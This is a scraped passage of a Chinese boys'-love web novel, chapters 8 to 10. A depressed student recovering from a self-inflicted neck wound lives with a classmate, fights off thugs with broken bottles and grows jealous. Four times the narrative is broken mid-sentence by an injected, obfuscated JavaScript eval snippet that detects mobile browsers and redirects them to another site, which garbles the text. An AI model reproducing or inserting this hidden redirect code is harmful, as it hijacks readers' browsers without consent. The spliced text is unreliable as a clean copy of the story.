两室两厅两卫的格局,江逸指着主卧说,“你以后住在这间房,阳面,光线好。” 谢逾白托着行李箱进去,主卧有两张床,1.5×2米的,一张挨着墙,一张挨着窗户,窗外绿树杂乱生长,在白色墙上留下树影。 “我住哪张床?” 江逸倚在门边,“随你选。” 靠墙的床上铺着蓝色的格子床单,有种寝室的既视感,床单褶皱很新,应该是新买的,谢逾白坐下,闻到了淡淡的阳光味道,“房间为什么有两张床?” “知知小的时候害怕,跟我睡在一个卧室,她睡在窗边。” 知知?谢逾白知道他有个亲妹妹,母亲改嫁以后,跟着他,这些是他无意间听说的。 谢逾白忽然有种不自在感,也就是说,他坐着这张床,是江逸睡了好久的床。 他似乎闻到了江逸身上淡淡的气息残留在床上。 看他局促的样子,江逸淡淡一笑,“你放心,我知道你矜贵,床品里里外外全换新的了。” 谢逾白幽深的眼瞳看过去,问出疑惑,“你为什么要我来你家?” 江逸嘴角一卷,“还能为什么,为了钱呗,你姐给的不少。”他毫不避讳地坐在谢逾白身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305451|182817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,手里拎着个文件夹,“你看过这些资料吗?” 谢逾白接过,打开,看了几眼,视线定格在:大部分抑郁症患者会丧失基本的生活兴趣,例如食欲,性.欲,如果患者保留哪种兴趣,可以通过满足他,改善他的情绪。 例如,美食、谈恋爱、牵手、拥吻、性.爱,这些美好的体验,帮助过很多患者走出低落情绪。 看到拥吻开始,谢逾白呼吸开始不稳,手指捏着文件夹,“你给我看这些,做什么?” 江逸姿势自在地往后坐了坐,头靠着墙,语气稀松平常,“你在医院用了那么多药,不见好转,试试这个呗。” “哪个?”谢逾白转头,空气中的微小尘埃他都能看到,胸腔里的心加速跳动。 “你跟我打哑谜?你不是看到了?你因为什么得的病?换个人,你跟我试试,怎么样?”江逸一双扇形眼眸澄澈灵动,看起来不像在开玩笑。 谢逾白手在身后,在别人看不见的角度抓紧床单,语气镇定,“你又想搞什么?” 江逸长腿移动,往前凑了凑,视线瞧着他右侧脖颈,“你伤口不小。”他手指靠近,剥开谢逾白的发尾察看伤口。 谢逾白僵着身子,感受到指腹落在他的皮肤上,粗糙的指腹纹路来回碾压,他的伤口不算深,刚长出来新肉,被抚摸的时候,有种痒痒的感觉。 他转动脖子,往后闪躲。 江逸扣住他的后颈,眼神熠熠,“你喜欢他什么?喜欢他很久了?” 谢逾白不回答。 “他不管你,你看看我,我对你好,我照顾你六个月,不让你伤心,不让你受伤,你觉得怎么样?”江逸的手指绕过去,捏着谢逾白耳朵边缘。 他的耳朵边缘红红的,干净青涩。 “六个月以后呢?”谢逾白苦笑,“这就是你说的玩玩的意思,玩完了甩掉我?” 江逸一副无所谓的表情:“六个月以后再说,谁能预知以后的事?” “你是直男,何必呢?可怜我?”谢逾白心中苦涩,话语也艰涩。 江逸舔了下唇,他的唇色天然红润,弧形漂亮,他往前蹭了蹭,膝盖抵住谢逾白的腿,“你在怕什么?我很好奇,你到底是上面的,还是下面的?” 谢逾白面色尴尬,“你……” “快说。” “我不知道。” 江逸忍俊不禁,“你为了人家,脖子都割了,不知道自己是哪一方?” 谢逾白撇他一眼,视线又挪开,“我没想那么多,没想过要发展什么。”对一个直男,能发展什么? “什么年头了,你搞纯爱?”江逸手撑着太阳穴,脸上笑意盎然,“你太纯情了。说真的,你看看我,我长得比周靖泽强太多了。” 谢逾白蹙起眉:“你能不能别提这个名字?” “勾起你的伤心事了?成,以后我不提。不许岔开话题。”江逸捏着他的下颌,跟自己对视,“你看我,长得不够好?” 他眼瞳晶晶亮,眼底微光浮动,笑起来唇角往上卷,露出一点红嫩的唇肉。 咚咚咚!谢逾白心跳失衡,胸腔一阵热气翻滚,耳朵红透,视线瞥向一旁。 “你怎么不看我?在心虚什么?” 谢逾白压制心里的狂躁,“我喜欢谁,不是看长相。” “啊?那你看什么?” “看内在。” 江逸挑眉轻笑:“内在?那种东西我没有。” 谢逾白错愕地望着他。 江逸弯着唇,“我只看外在,我是颜控。如果看内在和性格,八百年也落不到你身上。” 8. 第 8 章 晚上九点,江逸拎着毛巾跟浴巾,倚在门口,“你去洗个澡?” 谢逾白坐在桌子前面,桌面凹凸不平,有破损老旧的部分,这里明明不临街,总能听到嘈杂叫卖声。许是旧楼隔音不好,有小孩子弹钢琴的声音,两口子吵架的声音。 他好不容易集中注意力,做了几页物理题。 “你快点啊,我困了,我最近严重缺觉。”江逸从酒吧离职以后,每天晚上十点前就睡着了,像要把之前缺失的睡眠全补回来。 谢逾白接过他手里的毛巾和浴巾,品质一般,也是新的。 他跟着江逸走向浴室。 浴室称得上干净,狭小,热水器看上去有年头了,谢逾白迟疑地站在门口。 “少爷,能忍受不?现在带你去酒店睡?” “我不是什么少爷,我住校过。”学校的环境跟这里差不多,只是他很久没见过这种老旧的环境。 江逸的头发湿着,走动时有微小的水汽弥漫,一想到刚刚江逸在同一个空间洗过澡,谢逾白身体微微紧绷。 “你要做多久的心理建设?水温我已经调好了,往左边拧越来越热,右边越来越冷,洗发水在不锈钢架子上,你有什么问题吗?” “没有。” “换洗的衣服呢?你有吗?” “在箱子里,我自己取。” “我太困了,不等你了,先去睡了。”谢逾白看着他走进主卧室窗边的小床,心一惊,跟了过去,“你不睡次卧?那个房间不是空着?” 江逸回眸看他,“你刚出院,我不放心,陪你睡几天,等你没事了,我就搬走,你睡前记得吃药。” “要不要我去次卧?”谢逾白无法想象两个人在一个房间睡觉,他能否睡得着,即使是两张床。 江逸唇角一扯,语气意有所指,“你放心,我睡觉很死,而且离你那么远,我能对你干什么。” 他穿着宽松的T恤短裤,躺在窗边的床上,关了灯。 谢逾白心思忐忑,整个洗澡的过程都在神游,等回了房间,发现江逸脸孔转了过来,对着门的方向,他卷翘的睫毛垂落半扇影。 谢逾白一边擦头发,一边不受控制地靠近,蹲下身,眼睛跟江逸平视,肆无忌惮的目光缀在他脸上。 他的手指潮湿,心脏加速,慢慢抬起手,指尖碰触江逸的头发,有点软有点扎,浓密浅淡的眼睫,他的手指小心地靠近上翘的睫毛。 很软,纤长。 江逸长得好,难怪他自信,是一眼难忘,万里挑一的俊美,睡着的时候攻击力不强。 他的唇瓣薄软,比所有人的颜色要红一些,很有辨识度。 谢逾白像着了迷,眼睑抬起,落下,又抬起,手指往下,心脏失序,黑睫眨动,手指碰触柔软唇瓣的那一刻,他如遭雷击。 一触即离。 他往后退了好几步,有些气恼地稳定心神,走到自己床前,双腿垂下,沉默着坐着。 时间流逝得很慢很慢,他躺在床上,根本无心睡眠,不知过了多久,意识渐渐模糊。 江逸睡到半夜,眼睛沉重,身体疲乏,听见什么细微的声音,不想管,翻身继续睡,又听到什么压抑的声音。 窗帘没拉,他迷糊地坐起来,看向墙的方向,隐约看到一个人影,声音从对面床铺发出来的,江逸猛然回想起,谢逾白住在他家。 他需要确保人没事,他大步走向另一张床。 谢逾白躺在枕间,胸腔起伏得厉害,呼吸带着滞涩的断续。 看着他这样,江逸知道他发病了。 江逸手脚发麻,跪坐在床上,手掌贴了下他的额头,还好,不是特别烫,谢逾白的脸红得不自然。 “谢逾白,你怎么了?能听见我说话吗?” 谢逾白的额发全被汗水浸透,一缕缕贴额头,鼻梁上覆着层薄汗。 江逸取来温湿的毛巾,擦掉他脸上的汗,“你哪里疼?” 谢逾白双眼紧闭,嘴唇半张着,唇色被憋得泛深,“胸、口,疼。” 他前胸的睡衣早被汗浸透,贴在身上,江逸想也没想,一把拽开他前衣襟的扣子,崩掉了两三颗,不知道飞去了哪里。 湿湿的毛巾擦掉他皮肤上的汗湿,江逸手掌对着他的胸口按了一下,“谢逾白,你这里疼?怎么办?怎么能不疼?” 谢逾白手指攥着床单发颤,喘息带着滚烫的气,“江、逸……” 他的嘴唇带着潮湿的气息,下唇颤抖,喉咙深处发出一道道喘息,“江逸……” 江逸心急如焚,听他黏腻的叫自己的名字,心里焦躁,“你像叫.床似的,干什么?你到底怎么了?要我怎么做?” 谢逾白吸气,锁骨窝猛地陷下去,呼气像被什么扼住,气音闷哑,“江逸,你、看看我……” “我看着呢!你怎么了?”江逸一遍又一遍给他擦汗,毛巾凉了去洗手间重新洗了,再擦,无法阻止他的颤抖。 江逸一咬牙,手臂穿过后颈,把人抱在怀里,他的头搁在自己颈窝。 江逸的手顺着他的胸口一下下顺气,可能是头抬高了,谢逾白的呼吸顺畅了不少,潮红的脸偏在一边,脸贴在江逸胳膊上。 谢逾白修长的侧颈露出一枚小痣,位置靠近刀疤伤痕。 过了一会儿,谢逾白的症状明显好转,脸色依然薄红,呼吸变得均匀。 江逸把人放下,头靠在墙上,眯着眼睛睡觉。 第二天清晨,谢逾白先睁开眼,不可置信地看到江逸的脸就在他鼻子底下不远处。 他惊得身体迅速后仰,后背结结实实地撞到墙,咚的一声,一阵疼痛。 江逸睫毛动了动,眉心蹙起,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305452|182817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睑慢慢睁开。与此同时,谢逾白快速闭上眼睛装睡,脑子里回想昨晚的一幕,他发病了,那时,有人用毛巾一直帮他擦拭,降温,最后有人抱起了他的头,帮他顺气。 这人,毫无疑问是江逸。 他叫了江逸的名字,昨晚他的语气毫无遮掩,谢逾白头想撞墙,僵着脖子,闭紧眼睛装睡。 江逸揉了揉头,侧身去看谢逾白,摸了摸他额头,不烫,摸了摸他脸,不烫不红。 谢逾白露出大半胸膛,肌理在微光里起伏,腹肌沟壑清晰。 江逸扶额,缓了一会儿,洗了毛巾,帮他擦了擦,把他家居服的扣子扣回去,六颗扣子只剩下两颗,扣了还不如不扣,半遮半掩的。 太阳光已经升起来了,屋内明亮,他看到枕头旁边有一粒扣子,捡起来,看到地上蹦去了两颗,捡起,还缺一颗。他床下,地上全找了,没有。回到床上,他匍匐着身体,看谢逾白里侧有没有。 在一个角落,他看到了扣子,中间隔着谢逾白修长的身体,他伸手去够,谢逾白忽然睁开眼睛,瞳仁漆黑如夜,幽深里浮着一点光,他腿动了下,刚好撞到江逸的腿。 江逸重心不稳,栽倒在他身上,两人肢体相触,发出一声闷响。 谢逾白汗湿的脸紧绷,呼吸滞了半拍,“你,还不起来?” 他身上的气息冷冽,干爽,江逸揉着撞在他肋骨上的额角,愣愣地看向他,“你身上骨头什么做的,钢筋水泥?这么硬?” 谢逾白瞳仁里潮起潮落,“下去,听见没有?” “没听见。我昨晚劳累照顾你那么久,你对我就这个态度?” “照顾到我身上来了?” “我什么也没做,你污蔑我什么,你昨晚叫.床似的喊我,我说什么了?” 谢逾白眉梢垂着,唇被抿得泛白,“什么?你胡说。” “我录下来了,你自己听听。”江逸从他身上下来,坐在他身边。 谢逾白抓住他拿着手机的手,手背青筋浮起,“你敢?” “我怎么不敢?”江逸打开手机,要播放音频,“你听不听?很好听的。” 谢逾白眉峰拧着,“拿远点。” 江逸看他好笑,昨晚他哪有精力录音?谢逾白耳朵红到不行,逗他太好玩了。 江逸手指掐了下他泛红的耳朵,“你昨晚是不是在勾引我,知道你自己什么模样吗?叫我名字,让我看你。” 谢逾白闭上眼睛,脑子像有风刮过,面皮发热。 江逸穿好校服临出门,回到房间,“我去上学了,中午回来。早餐在桌子上。” “你的睡衣扣子我放桌子上了,有空你自己缝一下,针线在客厅左边电视柜里。说实话,你买这么贵的睡衣,质量好差。我没用力,扣子全掉了。” 谢逾白一字一顿:“江、逸。” 9. 第 9 章 江逸骑着摩托车,后背背个鼓鼓的书包,平时他很少带练习册回家。 今天他趁着其他同学去上体育课,把谢逾白书桌里他的练习册、书全背了回来。 他桌子里不少零食,全是女生送的,有一些给他的情书、贺卡,塞得满满的。除了笔袋和练习册,其余的东西,江逸没动。 他书桌里有个奇奇怪怪的、上了锁头的小铁盒,不知道里面是什么,神神秘秘的。 到了楼下,江逸对着楼上按喇叭,毫无反应,他拨打电话,谢逾白接听,一贯的冷调,“怎么?” “你要的书我给你带回来了,你下来,我们先去吃饭。” 谢逾白从户外旋转楼梯下来,第一眼看到江逸,他骑在摩托车上,单脚支地。 校服外套脱掉搭在车把上,黑色短袖裹着他单薄的肩背,他太瘦了。 他单手拎着头盔,指节搭在边缘,深栗色发梢被风掀得乱翘,一张脸酷帅又野,像一帧青春偶像剧的宣传照。 谢逾白脚步微顿,视线在他身上缓慢滑动。 江逸翻出另一个头盔递过来,“发什么呆?上来。” “你载我?” “不然呢?你会骑?” “不会。”谢逾白打量黑红相间的摩托车,“骑车会不会有些危险?” “你一个敢用水果刀割脖子的人还怕危险?死你都不怕。” 谢逾白睨他,“骑车发生事故可能死不了,瘫痪不如死了。” “少逼逼两句,上来。” 江逸把大书包挪到胸前,谢逾白扯着书包袋子,“我的书,给我背。” “行吧。”准备发动车子之前,江逸侧头,“你怎么不扶着我?” “为什么扶你?” 江逸手拉起他的两只胳膊,交叉放在自己腰上,“扶住了,前面有下坡和急转弯,你很少坐摩托车,注意点,万一掉下去,瘫痪了怎么办?” 他的腰出乎意料的细,侧边是肌肉,摸上去,触感韧韧的。 谢逾白把手拿开,“我能坐稳。” 他身后的书包挺沉,骤然启动,身体往后一仰,江逸动作迅速,胳膊往后伸拽了他胳膊一把,把他倾斜的身体捞了回来。 江逸偏头笑,“这次扶着我吗?六个月以后,我想好胳膊好腿的,把你还给你姐。” 谢逾白大手卡住他的侧腰,声音沉沉,“我扶好了。” 一路上,路途颠簸,从小到大,车接车送,从来没玩过什么危险游戏的谢逾白,心脏忽悠忽悠的。 相对于他按部就班,死气沉沉的生活,江逸的生活充满未知、混乱随意。 到了一处烧烤摊前,江逸停下车,谢逾白摘下头盔,有点不可思议地看着周围。马路边上,竟然摆着好多个摊位,有几个小的桌子凳子,不少人在这里吃吃喝喝,桌子上摆着冰啤酒,烧烤的烟气弥漫,空气中充斥着孜然味。 时不时有几辆汽车在旁边经过,掀起一阵尘土飞扬。 “到了,下车。” 谢逾白左右环顾,这里有烧烤、馄饨等等,这里能吃饭? 江逸把书包放在车上绑好,车推到一边,“你看看吃什么?” 谢逾白眼睑微敛,双手插在牛仔裤兜里,“你吃什么?” “吃烧烤,喝啤酒。” “你晚上不做题?你要喝酒。” “两瓶啤酒能影响做题?明天周末,明天写。” 谢逾白:“你喝酒以后,能骑车?” “摩托车不查酒驾。” “法律是对人最低的要求,我们要用道德约束自己,为了我的人身安全,我不建议你酒驾摩托车。” 江逸听得头疼,“一会儿你也喝。” “我吃药不能饮酒。” “你事真多,数学竞赛前一天晚上去酒吧喝酒的,不是你?” 谢逾白哑口无言。 江逸看着摊位上的菜单,“你想吃什么,点吧。” 谢逾白看了一会儿,“没什么想吃的,你点就行。” 江逸熟练地点餐,拉着他去旁边摊位,“你选份馄饨。” 谢逾白选了一份简单的馄饨,不加辣,什么也不加。馄饨做得很快,绿色的塑料碗外面罩了一层塑料袋,谢逾白眉心蹙着,接过来,看着这碗馄饨有点无所适从。 江逸带着他坐在烧烤摊位上,桌子上有些黏黏糊糊的。谢逾白拍了拍兜,他没带纸巾。 见他这样,江逸喉咙滚动着浅笑,“卓哥,有纸巾和湿巾吗?” “后边袋子里,自己拿。”宋卓在烤串,烟雾中抬头看他一眼,“小逸,跟你一起来的,你朋友?” “是啊,卓哥。”江逸拿两张湿巾,擦了两遍桌子,把几张纸巾递给谢逾白。 谢逾白拿起纸巾看了看,粗糙,有点掉渣,他看了江逸一眼,将就着用纸巾擦了一遍桌子。 江逸打开方便筷子,两根放在一起摩擦了一会儿递给谢逾白。一开始,他不明白为什么要摩擦,直到看到递过来的筷子上面还有毛边儿。 今天,他算开了眼了。不得不佩服,江逸的生存能力真强。 谢逾白本来胃口就差,现在胃口更差了,一碗馄饨20个左右,剩了13个。 江逸吃着羊肉串,眼尾看过来,“你不吃了?” “嗯。” “能吃饱?知知上次吃了15个。” “饱了。” “服了你了,递过来,剩的给我吃。” 谢逾白眉梢扬起,眼中错愕,“你要吃剩下的馄饨?” 江逸瞟他一眼,“怎么了?不应该浪费。” 谢逾白眉峰松了又紧,神色徘徊,他站起身,“我再买一份。” 江逸拉住他的衣襟,“我吃不完一份。” “能吃几个?” “10个。” “我买半份。” 江逸唇角绷着笑,“20一碗的馄饨,你去买半份,不怕老板骂你?” “我给他20,买10个馄饨,不就解决了?” 江逸竖起大拇指,笑得懒懒散散,“学霸脑筋是好用,服了你了。” 谢逾白端着馄饨回来,摆在江逸面前。 江逸手指弹了弹他胳膊,手指划着自己下巴,在他耳边低声说,“谢少爷洁癖到,自己吃剩下的我都不能吃?” 谢逾白望过来,眼瞳落了层薄光,“不是洁癖的原因,新煮出来的味道好一些。” 没想到他的想法是这样的,江逸抿唇不语,或许先入为主认为他傲慢,也许他并非那个意思。 宋越大老远就开始跟江逸招手,他长相痞帅,高鼻梁带自然驼峰,他坐在江逸另一侧,两人跟周围的环境十分协调。 “你这几天不在酒吧,多少小姑娘心碎了。” 江逸笑得明媚,“有那么夸张?” “萧哥连续面试了好几个人,哪能比得上你?现在岗位空缺着。”宋越说了几句话,察觉到一道不愠不火的视线落在他身上,抬头看过去,“这位是谢少爷?” 谢逾白眉心微跳,这句话听着不像好话,“谢逾白。” 宋越手伸过来,“幸会。” 谢逾白跟他握手,表情极淡,恢复了那副不可一世的样子。 这一幕看得江逸直乐,他喜欢看着谢逾白窘迫,他能带谢逾白去面馆吃饭,也能自己做饭给他吃,周围的小饭馆有环境整洁一些的。 算是他的恶趣味,看着高傲的人一点点染上烟火气。 宋越低头继续跟江逸说,“我朋友相中了一个店铺,想跟我合伙开酒吧,我们共同出资,我管理,明天我会提出离职。” “这么快,你要做老板了?” “我毕业三年了,一直想自己创业,本来去酒吧打工就是学习的心态。” “位置在哪?” “我给你看导航,离你家不远。” 两个人聊得起劲,头挨着头,谢逾白脸色沉着,视线从他身上移开,唇瓣抿得紧。 他视线落到街道对面,从一辆黑色面包车上下来几个人,还有几个手里拿着棍棒,谢逾白惊觉不对,他扯起江逸的胳膊,沉声说,“不太对劲,那些人是不是在看你?” 江逸一惊,看到里面有个佝偻的身影,很像在酒吧闹事的人。 宋越反应也快,“你们快走!我报警。” 谢逾白把江逸拽到身后,抄起旁边的空酒瓶。混混们骂骂咧咧围上来。 为首的人称老孟,“姓江的小崽子,我可算逮到你了,在酒吧不过让你陪着喝杯酒,你还报警了,警察帮得了你,今晚我让你……” 他的话还没说完,谢逾白手腕一扬,瓶底精准砸在最前面的老孟的额角,居高临下,眼底寒静,“你话过多了。” 第二个混混举棍挥来的瞬间,谢逾白侧身避开,反手将半截酒瓶戳向对方眉骨,玻璃碴混着血珠滚下来。 一群小弟被震慑住,被打懵了,他们没见过打架这么利落,半大的年纪,不管哪里,直接往头上打,一副拼命嗜血的模样。 谢逾白挑起一眉,他享受这种乖张释放的暴力,体内无法释放的焦躁刚好有了途径。 他再次捡起两个酒瓶子,他腿长脚长,沉着冷静,判断精准,一转眼的功夫撂倒了一半人。 有个混混壮胆骂了句,“操,遇到了个疯子!”谢逾白将半截酒瓶朝他肩膀砸去,玻璃碎裂声里,那人嗷地跳开。 他碎发垂在额前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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晚风徐徐,江逸看着他冷峻的脸上多了几分凌厉,眉骨上方那道口子还在渗血,血顺着眉尾往下滑,凝成暗红血痂。 “你受伤了?刚才为什么不跑?” 谢逾白嘴角还带着冷峭,“打架不能露怯,我们一跑,气势就低了。这些人没人拿刀,都是纸老虎,我平时一直练散打和拳击,他们不是我的对手。” “看把你牛的,用酒瓶子一顿乱凿,打死人了怎么办?” “第一,他们人多,我们属于正当防卫,第二,我看着地方下手,没想置他们于死地。” 谢逾白看似癫狂,实则十分冷静,短短时间里,反应很快,结果说明他处理得十分得当。 江逸毫发无损,谢逾白只有一个小伤口,“你怎么跟我想的不一样?” “你怎么想我的?” “眼高于顶的书呆子。” 谢逾白问:“现在呢?” “一个疯子。” 好像还不如前一个。 警察来了,录了笔供,又认人,最终折腾到半夜。 江逸骑车带谢逾白回家,从客厅找出来药箱,看着他的这么多伤口,轻叹气,“看我把小少爷养得,刚来几天,就破相了。” 谢逾白坐在沙发上,手放在膝盖上,在他靠近的时候,手指蜷了下。 拉起他的手,江逸看到谢逾白手掌被酒瓶子扎出大大小小好几处伤口,“你手上这么多伤痕?” 江逸握着他的手,一个个伤口处理好,坐在他旁边,沉默良久,“下次,你不许这么鲁莽。” “我考虑过后的行为,我从不鲁莽。” 江逸:“你的病,把他们吓坏了,真有用?” “没用,是人就怕死。” “你呢?谢逾白,你怕死吗?” 谢逾白眼瞳从低处提起,墨色里漾着柔波,“此时此刻,也是怕的。” 江逸摆弄着他的伤口,“今晚你别洗澡了,伤口怕沾水。” “不行,我身上有味道。” “什么味道?” 谢逾白脸上满是嫌弃,“孜然味,血腥味。” 江逸莞尔,“谢少爷不喜欢吃烧烤?下次不带你去了行不行?”他曲指刮了一下谢逾白高挺的鼻梁,指腹在他鼻尖的美人痣上停了一瞬。 谢逾白偏头,“你能不能别叫我谢少爷?感觉这个称呼不正经。”家里的管家下人经常叫他大少爷,他不觉得有什么不妥,江逸调笑的口吻称呼他,总让他有种异样感。 “是不是你想歪了?你给我解释解释,谢少爷怎么不正经了?” 江逸的语调,叫谢少爷三个字的时候,尾音软绵绵的。 江逸恍然大悟,“是不是夜店里面的男模叫少爷?谢逾白,你知识有点过于丰富了。” 他用白纱布缠住谢逾白的两只手,“你非要洗澡,手上有伤口,我帮你洗。” 谢逾白眼睫僵在半空,“你知道我喜欢男生,要帮我洗澡?” “没错,我知道你喜欢男生,还要帮你洗澡。” 江逸挑着眼尾笑,“我想泡你,你不知道?” 10. 第 10 章 谢逾白眼神朦胧地看着他,“你为什么要泡我?” 江逸摸了摸鼻尖,看着坐在沙发上的男生,他身上有种纯粹的冷调,偶尔散发出忧郁又病态的气息,像个高傲的王子,又像个橱窗里精致的娃娃。 江逸是个俗人,谢逾白于他,是两个世界,完全够不到的存在,就是这样,才滋生了好奇。谢逾白对爱情的不顾一切,对生命的不够珍惜,所有的观念全跟自己背道而驰。 越是不同,越想要窥探。 他垂头看着谢逾白手上交错的伤痕,心里一阵不是滋味,“你给泡吗?” 谢逾白沉吟良久,黑漆漆的眼瞳没有一点光,“江逸,任何能宣之于口的感情都不是真的。” 江逸听得抿嘴一乐,“行,我说不过你这个大情圣,今晚一定要洗澡?” “嗯。” “不能让我帮你洗?” 谢逾白用眼尾斜睨他,“不能。” 江逸耸耸肩,走到厨房,翻了翻抽屉,拿着剪刀跟保鲜膜,执起他的手,“我们冰清玉洁的谢同学,真任性。” 江逸一圈一圈地把他的手裹住,不留一点缝隙,转而去看他眉骨处的伤痕,犯起了难。 江逸拨开他墨黑的头发,他的头发丝硬,跟他的人一样,又硬又倔,江逸绵柔的目光注视着他暗红色的伤口,滑向他的眉棱,落进他的眼眸。 谢逾白有一双浓黑的没有一丝杂质的眼睛,幽暗深沉,江逸手指碰了碰他的额角,“一会儿洗完澡,自己可以再给这里上一次药吗?” “可以。”谢逾白抬脚走到浴室门口,开了门,落了锁。 江逸听到咔哒一声门锁的声音,直接气笑了,家里大部分时间只有他一个人住,他没留意到卫生间还能上锁。 他是不是要反思一下,自己说话太轻浮了?至于让人这么防备? * 江逸跟往常一样,晚上7点半到家,刚停好摩托车,周靖泽叫住他,“阿逸。” 江逸手里拿着头盔看过来,“你怎么来了?没提前给我打个电话?” 周靖泽扬了扬手里的蛋糕,“给你的惊喜。最近我忙着备考雅思,没时间去陪你吃饭。走,去你家吃蛋糕。” 江逸看了看楼上,客厅和卧室的灯亮着,他想了想,“我们在楼下吃吧,楼上不太方便。” “怎么了?” 江逸没想隐瞒,“谢逾白最近在我家住。” 周靖泽神情凝重,“他怎么在你家?” “说来话长。”江逸斟酌着尽量解释合理一点,“我酒吧的工作辞了,他家人忙,没人照顾他,他姐姐给的护理费高,我答应了。” 他的话听上去逻辑通顺,周靖泽抓住了里面的漏洞,“你知道他的抑郁症是有危险的,为什么留他在你家?阿逸,你一向是个谨慎的人。”剩下的半截话他不能再说下去。 “当时有点冲动在里面。”江逸是缺钱,不至于缺到那种程度,看到好好的一个人,天之骄子,脖子上用刀划出来的伤痕,江逸那两天头脑不够冷静。 困惑,惋惜,怜悯,多种情绪交织在一起,做出了那个决定。 周靖泽从钱包里拿出银行卡,“阿逸,我不要你还钱,你拿去用,大学毕业以后再还我,你跟我的交情,不必计较那么多。” “你随身携带着卡?”江逸声音懒懒,“我已经攒够高考前的生活费了,你别瞎操心了,行不行?” 周靖泽在书包里翻出来一个房产证,“我找到了房子的房产证,知知上学可以落户在这里,别担心,产权是我一个人的。” 想要去学区好一点的小学,需要学区内的房子产权,知知的监护权在江逸这里,他名下没有房子,算是他心头的隐疾。 江逸可以忍受缺钱,但不能委屈知知。 看他沉默不语的样子,周靖泽爽朗地笑着,“来这边坐,我们一边吃蛋糕,一边说。” 周靖泽很有头脑,性格温和,对江逸很够意思,做事情让人如沐春风,跟他做朋友这么多年,两人的性格无比合拍。 “阿逸,当年没有你,就没有我的今天,是兄弟就不要对我见外。” “谁跟你见外了?” 周靖泽抿着嘴,“我感觉好久没见到你了。” “前天体育课见面了,你能不能别肉麻。” 周靖泽把蛋糕切下来一小块,放进盘子里,从书包里翻出几个笔记本,“各科我整理的笔记,高三复习专用的,我也在用,内容很好,前半年你忙着酒吧,现在离职了,终于可以好好复习了。” 江逸接过笔记翻开,里面是手写的,工工整整,是周靖泽的笔迹,“你写得这么工整,舍得给我?” “有什么舍不得?多写一次记得牢。”周靖泽看他手里拿着数学笔记在翻看,用叉子舀了一块蛋糕,递到他嘴边,“尝一尝,店里新出的减糖版。” 江逸接过叉子,咬下蛋糕,看着笔记,两人有一句没一句地闲聊了半个小时,直到他的手机响。 冷冰冰的声音传来,“你还不上楼?” “马上。”江逸讪讪跟周靖泽说,“我上去了,估计少爷饿了。” “去吧,明天去学校我们继续聊。” 他看着江逸的身形走在户外楼梯上,瞥了下他家的窗户,客厅窗户一闪而过,有一个黑影,周靖泽直觉告诉他,是谢逾白。 江逸走到厨房,意外地发现桌子上摆着两菜一汤,看了眼谢逾白,“你做饭了?” 他坐下,拿起筷子夹起一块红烧排骨,颜色油亮,卖相不错,忽然一双筷子拍了过来,把排骨拍到了桌子上。 江逸瞪大眼睛,“你干什么?” 谢逾白冷笑,“凉了,不能吃了。” “我不怕凉,没事。” 谢逾白眼神阴沉,“你不怕,我不愿意。”他起身,端着一盘红烧排骨毫不犹豫地倒进垃圾桶里。 “你发什么神经?浪费粮食?” 谢逾白跟听不见似的,端起番茄炒蛋,江逸上前一步捏住盘子边缘,“我饿了,给我吃,别扔。” “你爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305454|182817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃什么吃什么,吃我做的菜你休想。” 江逸满眼迷惑,不知道这大少爷哪来的脾气,直视着他,“你身体不舒服?” 谢逾白冷哼,“舒不舒服不用你管。”他用力握住江逸的手腕,盘子落在他一个人手里,白瓷盘倾斜,菜哗啦啦进了垃圾桶。 他不解气似的,连电饭锅里的饭也扔进垃圾桶。 他转身把玄关处的蛋糕吧嗒一声扔到江逸眼前,“饿了,吃吧。人家好心给你送来的,别辜负了。” 江逸有点懵,“甜品是甜品,饭是饭,我想吃饭。” “想吃饭?你自己做。”谢逾白冷着脸,迈着长腿回房间。 江逸扯住他的胳膊,眨巴两下眼睛,“你今晚闹哪出啊?”他努力回想最近几天两人相处挺正常的。怎么突然这样了? 谢逾白拧眉,“你松手。” “不松,你不说清楚我不松。” 谢逾白声音嘲讽,“你让我说,好,你刚刚在楼下干什么了?跟人亲热够了,想起来回来吃饭了?有那么好的事?吃着碗里的望着锅里的。” 他语气冷淡,有种酸涩在里面,江逸恍然大悟,谢逾白看到他们了,又吃醋了? “哪有什么亲热?” 谢逾白扯了他一把,直接把人怼在墙上,江逸肩膀撞得一疼,谢逾白这人,平时饭量不大,力气怎么这么大? 